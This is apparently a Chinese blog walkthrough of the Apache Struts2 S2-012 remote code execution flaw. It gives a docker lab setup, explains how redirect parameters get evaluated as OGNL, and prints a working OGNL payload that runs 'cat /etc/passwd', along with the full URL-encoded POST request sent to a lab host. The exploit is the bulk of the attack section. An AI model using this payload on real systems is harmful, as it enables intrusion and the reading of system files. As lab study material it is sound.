S2-012 远程代码执行漏洞
影响版本: 2.1.0 - 2.3.13
漏洞详情:http://struts.apache.org/docs/s2-012.html
测试环境搭建
docker-compose build
docker-compose up -d
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518084600522-1187452090.png)
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518084600559-2147368362.png)
原理
如果在配置 Action 中 Result 时使用了重定向类型,并且还使用 ${param_name} 作为重定向变量,例如:
<package name="S2-012" extends="struts-default">
<action name="user" class="com.demo.action.UserAction">
<result name="redirect" type="redirect">/index.jsp?name=${name}</result>
<result name="input">/index.jsp</result>
<result name="success">/index.jsp</result>
</action>
</package>
这里 UserAction 中定义有一个 name 变量,当触发 redirect 类型返回时,Struts2 获取使用 ${name} 获取其值,在这个过程中会对 name 参数的值执行 OGNL 表达式解析,从而可以插入任意 OGNL 表达式导致命令执行。
Exp
可以直接祭出s2-001中的回显POC,因为这里是没有沙盒,也没有限制任何特殊字符(为什么?)。
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
访问ip+8080端口(ip为环境搭建系统的ip)
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518084600490-1630984121.png)
EXP需要经过URL编码
点击查看代码
POST /user.action;jsessionid=E3D3D6E2684F65B913C56F90B5F9DD1C HTTP/1.1
Host: 192.168.10.128:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 530
Origin: http://192.168.10.128:8080
Connection: close
Referer: http://192.168.10.128:8080/
Cookie: JSESSIONID=E3D3D6E2684F65B913C56F90B5F9DD1C
Upgrade-Insecure-Requests: 1
name=%25%7B%23a%3D(new%20java.lang.ProcessBuilder(new%20java.lang.String%5B%5D%7B%22cat%22%2C%20%22%2Fetc%2Fpasswd%22%7D)).redirectErrorStream(true).start()%2C%23b%3D%23a.getInputStream()%2C%23c%3Dnew%20java.io.InputStreamReader(%23b)%2C%23d%3Dnew%20java.io.BufferedReader(%23c)%2C%23e%3Dnew%20char%5B50000%5D%2C%23d.read(%23e)%2C%23f%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22)%2C%23f.getWriter().println(new%20java.lang.String(%23e))%2C%23f.getWriter().flush()%2C%23f.getWriter().close()%7D%0A
![](https://img2022.cnblogs.com/blog/2236821/202205/2236821-20220518084600468-1652374934.png)
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/16283259.html